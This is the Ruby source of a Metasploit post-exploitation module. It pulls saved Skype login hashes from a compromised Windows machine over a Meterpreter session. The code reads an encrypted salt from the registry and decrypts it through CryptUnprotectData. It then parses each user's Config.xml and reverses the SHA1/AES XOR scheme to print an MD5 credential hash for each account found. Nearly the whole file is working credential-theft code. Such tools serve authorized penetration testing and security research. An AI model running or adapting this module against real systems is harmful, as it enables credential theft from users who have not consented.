metasploit-framework/modules/post/windows/gather/credentials/skype.rb

180 lines
5.4 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Skype Saved Password Hash Extraction',
'Description' => %q{ This module finds saved login credentials
for the Windows Skype client. The hash is in MD5 format
that uses the username, a static string "\nskyper\n" and the
password. The resulting MD5 is stored in the Config.xml file
for the user after being XOR'd against a key generated by applying
2 SHA1 hashes of "salt" data which is stored in ProtectedStorage
using the Windows API CryptProtectData against the MD5 },
'License' => MSF_LICENSE,
'Author' => [
'mubix', # module
'hdm' # crypto help
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' => [
['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'],
['URL', 'http://insecurety.net/?p=427'],
['URL', 'https://github.com/skypeopensource/tools']
]
))
end
# To generate test hashes in ruby use:
=begin
require 'openssl'
username = "test"
passsword = "test"
hash = Digest::MD5.new
hash.update username
hash.update "\nskyper\n"
hash.update password
puts hash.hexdigest
=end
def decrypt_reg(data)
rg = session.railgun
pid = session.sys.process.getpid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(512)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
# Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret["pDataOut"].unpack("VVVV")
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
end
return "" if len == 0
return process.memory.read(addr, len)
end
# Get the "Salt" unencrypted from the registry
def get_salt
print_status "Checking for encrypted salt in the registry"
vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0"
rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0')
print_good("Salt found and decrypted")
return decrypt_reg(rdata)
end
# Pull out all the users in the AppData directory that have config files
def get_config_users(appdatapath)
users = []
dirlist = session.fs.dir.entries(appdatapath)
dirlist.shift(2)
dirlist.each do |dir|
if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false
vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\"
next
end
print_good "Found Config.xml in #{appdatapath}\\#{dir}\\"
users << dir
end
return users
end
def parse_config_file(config_path)
hex = ""
configfile = read_file(config_path)
configfile.each_line do |line|
if line =~ /Credentials/i
hex = line.split('>')[1].split('<')[0]
end
end
return hex
end
def decrypt_blob(credhex, salt)
# Convert Config.xml hex to binary format
blob = [credhex].pack("H*")
# Concatinate SHA digests for AES key
sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt)
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.encrypt
aes.key = sha[0,32] # Use only 32 bytes of key
final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes
final << aes.final
xor_key = final[0,16] # Get only the first 16 bytes of result
vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}")
decrypted = []
# Use AES/SHA crypto for XOR decoding
(0...16).each do |i|
decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0])
end
return decrypted.pack("C*").unpack("H*")[0]
end
def get_config_creds(salt)
users = []
appdatapath = expand_path("%AppData%") + "\\Skype"
print_status ("Checking for config files in %APPDATA%")
users = get_config_users(appdatapath)
if users.any?
users.each do |user|
print_status("Parsing #{appdatapath}\\#{user}\\Config.xml")
credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml")
if credhex == ""
print_error("No Credentials3 blob found for #{user} in Config.xml skipping")
next
else
hash = decrypt_blob(credhex, salt)
print_good "Skype MD5 found: #{user}:#{hash}"
end
end
else
print_error "No users with configs found. Exiting"
end
end
def run
salt = get_salt
if salt != nil
creds = get_config_creds(salt)
else
print_error "No salt found. Cannot continue without salt, exiting"
end
end
end